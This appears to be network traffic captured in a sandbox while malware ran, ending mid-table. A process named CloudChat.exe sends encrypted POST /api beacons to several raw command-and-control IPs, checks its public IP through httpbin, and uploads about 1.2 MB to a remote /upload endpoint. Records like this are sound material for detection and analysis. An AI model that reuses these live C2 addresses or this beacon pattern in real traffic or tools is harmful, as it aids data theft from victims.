Sep 30, 2024 12:20:37.959623098 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 b8 f5 1c ed 8e 97 fa 66 54 00 00 00 ed 35 cd ee 1c 61 03 2f 97 07 f7 9d 83 af 26 e5 31 ed a7 e6 81 e0 66 98 2a 73 8e 21 1c d8 46 4f 4a 00 00 00 20 0f f3 75 3b 52 e5 23 eb aa a0 21 8f 64 78 57 1c ea f1 65 05 a9 bf 27 cb 57 Data Ascii: fT5a/&1f*s!FOJ u;R#!dxWe'WqN{Xm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:38.004302979 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:38.010499001 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 40 eb 36 35 8f 97 fa 66 54 00 00 00 ed 35 cd ee 1c d6 22 a2 64 6f 8b 2e 5a 0e ef 60 dc 87 5b fb 69 f2 9d 57 d6 7f 98 ce ff a9 8a 35 5c 00 00 00 ef f4 9c ce c6 a8 00 9f 2e 89 d6 1b e5 e1 5f 5b 1c f9 78 31 85 33 fb 58 0a 19 Data Ascii: @65fT5"do.Z`[iW5\._[x13Xq]F2^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:38.112123966 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:38.116939068 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 34 22 07 50 8f 97 fa 66 54 00 00 00 ed 35 cd ee 1c 27 2a 16 57 3d a0 41 b3 13 1e 5a 41 54 18 5c 24 fe 68 85 87 4f 13 25 32 9f 37 a1 5b 00 00 00 6b 89 9a 9d 49 d1 5b 87 df 94 5b 16 ee 1c 7d a9 1c 1e 50 28 dd 3e cf a9 48 30 Data Ascii: 4"PfT5'*W=AZAT\$hO%27[kI[[}P(>H0V<L7{1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49724	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:38.242444038 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:38.247807026 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 40 3e 69 74 8f 97 fa 66 54 00 00 00 ed 35 cd ee 1c bd b7 ad 70 49 b8 9a cb 92 e6 d6 42 35 9e 77 c1 64 3e 2a d2 13 f2 25 49 ca e1 76 2b 00 00 00 9d fa 71 cc 5f e4 9b 20 ec 59 ac 44 c2 0b 70 5d 1c e0 d7 4e 70 01 e5 ba 7c 84 Data Ascii: @>itfT5pIB5wd>*%Iv+q_ YDp]Np\|M~hTl^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:38.617508888 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:38.622575045 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 a8 a5 4e d5 8f 97 fa 66 4c 00 00 00 ed 35 cd ee 19 2d e7 2b 03 af fb 66 b2 71 7f a4 03 b1 cc 9f fd 3e 68 9c 01 a0 69 bc 47 ed 00 00 ec 02 02 b5 49 9c fa 91 14 05 2c 38 50 26 e6 44 19 20 5f 60 42 44 43 df cd 16 f4 1b 95 4c Data Ascii: NfL5-+fq>hiGI,8P&D _`BDCLr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49731	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:38.700097084 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:38.704976082 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 44 ea 2e ea 8f 97 fa 66 4c 00 00 00 ed 35 cd ee 19 93 b0 99 76 d2 4a b8 ef a6 aa e3 26 2a d7 ef c2 10 4f c4 dc bf e6 34 2b 81 00 00 bc 5b 97 43 36 33 67 22 3a 4d 77 0f 63 f7 9b 7d 19 66 f6 5d 96 60 36 f1 41 76 ac cb 05 03 Data Ascii: D.fL5vJ&*O4+[C63g":Mwc}f]`6Av.S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49733	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:38.811367989 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:38.816128016 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 38 8d 25 07 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 02 ad 03 ff 98 a8 3a 28 b1 69 2f 38 48 e9 13 a6 31 29 84 bd 24 fa 70 d7 49 00 00 a2 1e 8a a6 84 59 76 86 5a cb 4f 87 7d 36 04 4e 19 18 3a e8 d5 ee c8 58 b4 76 6a 74 2f 99 Data Ascii: 8%fL5:(i/8H1)$pIYvZO}6N:Xvjt/;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49738	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.024116039 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.029021025 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 30 a5 d1 33 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 9e e5 52 bd 0b 2e e2 8d 46 00 e9 2d bd 05 2c 14 34 79 75 54 91 57 94 47 ee 00 00 ac 7f 79 ca a0 fb d7 70 6d ff c3 41 5f ae 7a 3a 19 b7 13 8f 1d de 66 a8 29 03 ca ba a3 3b Data Ascii: 03fL5R.F-,4yuTWGypmA_z:f);SL0(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49742	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.063559055 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.068490028 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 3c 95 a8 45 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 f0 56 7e c3 ef fa 0f 71 80 51 e0 67 7f 91 ad fd 4f 74 23 a3 92 97 dc 1c e9 00 00 15 87 0a 19 f6 6e b9 a6 11 8c 52 e0 ac 4d 51 d6 19 87 97 57 c1 3b 95 0d f2 a2 25 69 32 e6 Data Ascii: <EfL5V~qQgOt#nRMQW;%i2FuQR(Jf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49745	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.174312115 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.179153919 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 90 10 bb 63 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 74 ff 2f 96 93 a8 ff 6b f3 32 3b 36 06 0a 5b ba 19 63 3f 07 43 15 b7 ad d0 00 00 49 6e 58 e2 69 66 6c 5d 59 13 a1 03 2d cd 7b 08 19 71 d7 d8 b7 ee dd 11 bf 3b 94 f0 62 3d Data Ascii: cfL5t/k2;6[c?CInXifl]Y-{q;b=[sk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49749	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.283570051 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.288352966 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 64 d6 ed 7e 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 a5 36 0f 7c 09 50 43 23 0b ed e8 45 e1 1a a2 fe 7b 5a 75 a9 c8 c8 91 ea 9d 00 00 a2 03 2b 08 f0 ef c5 1f 83 40 81 76 33 ea 61 02 19 3a de b7 e7 b4 3e e5 57 0c ad b9 05 7a Data Ascii: d~fL56\|PC#E{Zu+@v3a:>Wz:5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49752	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.422909021 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.429318905 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 18 81 35 a2 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 ba f8 6f a1 a0 d3 28 c1 b8 81 d7 04 37 0e 7a 0a 7e e9 12 5d d6 eb 52 91 44 00 00 4e d7 b8 e6 77 a2 8f 5c 3a 59 7e 67 32 fa b9 9c 19 38 f2 a3 42 62 4c b1 6a 05 8e cc 20 5b Data Ascii: 5fL5o(7z~]RDNw\:Y~g28BbLj [$B?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49756	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.500327110 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.506458998 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 c4 01 72 b6 90 97 fa 66 4c 00 00 00 ed 35 cd ee 19 4e af 86 4e d4 2a 95 33 ed 1a 5b 08 17 b7 41 1d 14 ea f3 35 40 60 ec 39 33 00 00 c0 d9 99 5b 37 6e ec 62 fa 96 a0 a1 b6 15 e5 9d 19 8d c2 dc a7 a4 2f fc db b2 54 51 25 f9 Data Ascii: rfL5NN*3[A5@`93[7nb/TQ%[t!3q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49759	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.626919031 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.631771088 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 1c 81 79 d5 90 97 fa 66 4c 00 00 00 ed 35 cd ee 18 9b 22 ec f8 58 7e 76 65 61 b6 79 74 3a 98 88 32 98 a6 76 af 12 86 5d f8 00 00 00 06 21 80 d9 4f 1a b2 aa 47 4d ee af dc 2a 33 40 18 c1 d4 ac 45 ad 00 8b 57 cc b4 fe 61 51 Data Ascii: yfL5"X~veayt:2v]!OGM*3@EWaQ6mA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49763	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.725963116 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.735141039 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 d8 60 cf ef 90 97 fa 66 4c 00 00 00 ed 35 cd ee 18 42 0f 78 7f 7a 91 db b4 6a 88 21 32 ea a1 d2 1f 1c fe 30 23 04 38 ba a5 00 00 00 8d 3d f5 05 7d 9c d8 8b d9 e0 24 07 dd d3 1c 76 18 3c 9b 9f ea e6 63 2e ee 64 42 48 7d 96 Data Ascii: `fL5Bxzj!20#8=}$v<c.dBH}Io?N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49766	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:39.850101948 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:39.855029106 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 c4 ec 1c 11 91 97 fa 66 4c 00 00 00 ed 35 cd ee 18 8e ea 51 4a 23 87 16 55 28 05 46 de 29 ae 92 7e e0 15 ee 74 f0 ae e6 27 00 00 00 6d 36 48 94 e4 7e 25 72 19 1b dd 2c be 0e 1f 45 18 56 f3 41 28 b9 e5 01 59 a8 1d 00 d7 40 Data Ascii: fL5QJ#U(F)~t'm6H~%r,EVA(Y@8U//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49771	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:40.085251093 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 96 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:40.090967894 CEST	96	OUT	Data Raw: 00 00 00 00 00 00 00 00 94 c2 1d c3 78 7b fa 66 4c 00 00 00 ed 35 cd ee 18 06 7c b8 33 06 ed 4c 26 4d b3 ab 05 0c 3e be a0 e1 ef 16 da df fc ef 76 00 00 00 19 db fa a5 4b e5 90 23 d4 25 7c 54 85 0d 0f 1a 18 f7 4c 7e 01 df 51 f6 fa 98 52 cb 24 40 Data Ascii: x{fL5\|3L&M>vK#%\|TL~QR$@Sgp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49776	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:40.569098949 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:40.573941946 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 f0 23 9f 37 79 7b fa 66 34 00 00 00 ed 35 cd ee 0c 68 e2 02 42 51 e4 d6 b9 26 94 e8 90 00 00 00 fd a0 53 b2 2e f6 e2 55 e2 0d b8 8c 2c 2e 2d 37 0c bd 77 ae 9a 9d 63 59 f2 da b3 f7 44 00 00 00 Data Ascii: #7y{f45hBQ&S.U,.-7wcYD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49780	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:40.662137985 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:40.667043924 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 ba 4d 56 79 7b fa 66 34 00 00 00 ed 35 cd ee 0c 9a d1 05 05 bb 2d 7a f2 7d 34 ec 07 00 00 00 90 d7 53 78 51 92 e8 be d4 8c 9f 5f db 36 38 67 0c aa f2 75 dd 34 32 51 cb 43 3e f7 eb 00 00 00 Data Ascii: MVy{f45-z}4SxQ_68gu42QC>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49783	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:40.749510050 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:40.754434109 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 1c e2 4b 6e 79 7b fa 66 34 00 00 00 ed 35 cd ee 0c a9 77 bb 90 2c fe 76 46 2a 1c 3a 58 00 00 00 d9 0d cc b6 1e 38 56 4e 82 da e0 7b 3b 6c d9 38 0c 0a ce 32 36 37 1c c8 82 1b fc b5 2a 00 00 00 Data Ascii: Kny{f45w,vF:X8VN{;l8267

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49787	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:40.939181089 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:40.944003105 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 38 5c a1 8e 79 7b fa 66 34 00 00 00 ed 35 cd ee 0c 6c b1 c4 2b b5 f4 9b 13 83 9a 6e ca 00 00 00 ed af 72 8b 09 42 82 db e0 db 15 a5 72 07 22 09 0c f1 f7 0b a1 18 d1 be 1f 84 49 42 c9 00 00 00 Data Ascii: 8\y{f45l+nrBr"IB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49790	103.78.229.139	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:40.971029043 CEST	223	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 103.78.229.139:80
Sep 30, 2024 12:20:40.975893021 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 08 3d 6d a6 79 7b fa 66 34 00 00 00 ed 35 cd ee 0c 54 0c 5a bf 6f 46 92 66 37 39 9e c0 00 00 00 09 14 2b 08 c2 d2 7f 8e 63 e1 53 3f 00 87 03 de 0c 07 31 3e 52 8e c8 ec 57 26 c2 d1 4e 00 00 00 Data Ascii: =my{f45TZoFf79+cS?1>RW&N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49793	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:41.097022057 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 72 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:41.101875067 CEST	72	OUT	Data Raw: 00 00 00 00 00 00 00 00 28 ed 51 c1 79 7b fa 66 34 00 00 00 ed 35 cd ee 0c 22 f1 cf 9f b4 5d 95 88 a0 59 0a 08 00 00 00 7e ac 41 01 b6 7d d2 37 2b 71 d7 d8 aa ce 50 f4 0c 24 fd f9 d4 ba 3a a5 97 52 75 c1 34 00 00 00 Data Ascii: (Qy{f45"]Y~A}7+qP$:Ru4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49817	23.21.73.249	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:46.455255985 CEST	64	OUT	GET /get HTTP/1.1 Host: httpbin.org Connection: Keep-Alive
Sep 30, 2024 12:20:48.757915974 CEST	426	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:20:48 GMT Content-Type: application/json Content-Length: 196 Connection: keep-alive Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Data Raw: 7b 0a 20 20 22 61 72 67 73 22 3a 20 7b 7d 2c 20 0a 20 20 22 68 65 61 64 65 72 73 22 3a 20 7b 0a 20 20 20 20 22 48 6f 73 74 22 3a 20 22 68 74 74 70 62 69 6e 2e 6f 72 67 22 2c 20 0a 20 20 20 20 22 58 2d 41 6d 7a 6e 2d 54 72 61 63 65 2d 49 64 22 3a 20 22 52 6f 6f 74 3d 31 2d 36 36 66 61 37 62 37 65 2d 34 37 61 66 33 31 30 37 30 36 62 64 37 34 38 32 37 34 63 65 64 33 38 61 22 0a 20 20 7d 2c 20 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 20 0a 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 67 65 74 22 0a 7d 0a Data Ascii: { "args": {}, "headers": { "Host": "httpbin.org", "X-Amzn-Trace-Id": "Root=1-66fa7b7e-47af310706bd748274ced38a" }, "origin": "8.46.123.33", "url": "http://httpbin.org/get"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49831	185.196.8.119	50000	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:49.368200064 CEST	123	OUT	POST /upload HTTP/1.1 Host: 185.196.8.119:50000 Content-Length: 1262724 Expect: 100-continue Connection: Keep-Alive
Sep 30, 2024 12:20:50.021214008 CEST	25	IN	HTTP/1.1 100 Continue
Sep 30, 2024 12:20:51.187083006 CEST	108	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 17 Date: Mon, 30 Sep 2024 10:20:51 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49838	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:50.187882900 CEST	221	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:50.192838907 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 f0 63 19 f6 83 7b fa 66 2c 00 00 00 ed 35 cd ee 0a 79 92 4f cf 19 d9 92 af 7c 8f 00 c6 30 e1 47 40 b8 7b 4e 0c 6a 00 5b 48 76 c9 d0 0a a0 cc 18 19 dc b7 4d fc a7 98 00 Data Ascii: c{f,5yO\|0G@{Nj[HvM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49840	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:50.290960073 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 80 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:50.296220064 CEST	80	OUT	Data Raw: 00 00 00 00 00 00 00 00 88 f2 7d f3 83 7b fa 66 3c 00 00 00 ed 35 cd ee 12 f0 86 a4 02 d6 9b c8 3b b4 42 76 1c 08 88 54 0b 2f 3c 00 08 02 d9 34 f3 f5 8c 32 fb 3b 46 b6 e8 14 fd d8 12 9f 24 8e 7c b9 2f 86 c0 bc 93 f2 40 94 e1 42 7a b9 17 00 Data Ascii: }{f<5;BvT/<42;F$\|/@Bz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49845	139.144.164.103	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:50.986104965 CEST	224	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 64 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 139.144.164.103:80
Sep 30, 2024 12:20:50.994983912 CEST	64	OUT	Data Raw: 00 00 00 00 00 00 00 00 dc 1c d9 27 36 87 fa 66 2c 00 00 00 ed 35 cd ee 0a 23 b9 ce b9 ca 49 4e 34 06 c4 00 24 3f 2d 71 10 4b f2 e8 68 9a 89 de 28 e8 47 6f 0a 2e f8 5a ed e7 b7 62 47 8b f8 00 Data Ascii: '6f,5#IN4$?-qKh(Go.ZbG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49848	45.79.244.41	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:20:51.071532965 CEST	222	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 104 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-CH,* User-Agent: Mozilla/5.0 Host: 45.79.244.41:80
Sep 30, 2024 12:20:51.076766014 CEST	104	OUT	Data Raw: 00 00 00 00 00 00 00 00 5c c0 c7 9c 8c 89 fa 66 54 00 00 00 ed 35 cd ee 1c 2d 34 dd a0 9b e4 20 4d f0 dc e8 b6 3f c7 69 6a 9f 2f 4d e8 30 4c f9 9e 38 b1 34 8d 00 00 00 4f 51 6d d9 02 82 c8 34 ba 71 82 1f 05 c0 9b 86 1c 72 10 ab 07 06 56 3b fe 4a Data Ascii: \fT5-4 M?ij/M0L84OQm4qrV;J[KQZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49852	66.228.63.175	80	2612	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe

Timestamp	Bytes transferred	Direction	Data
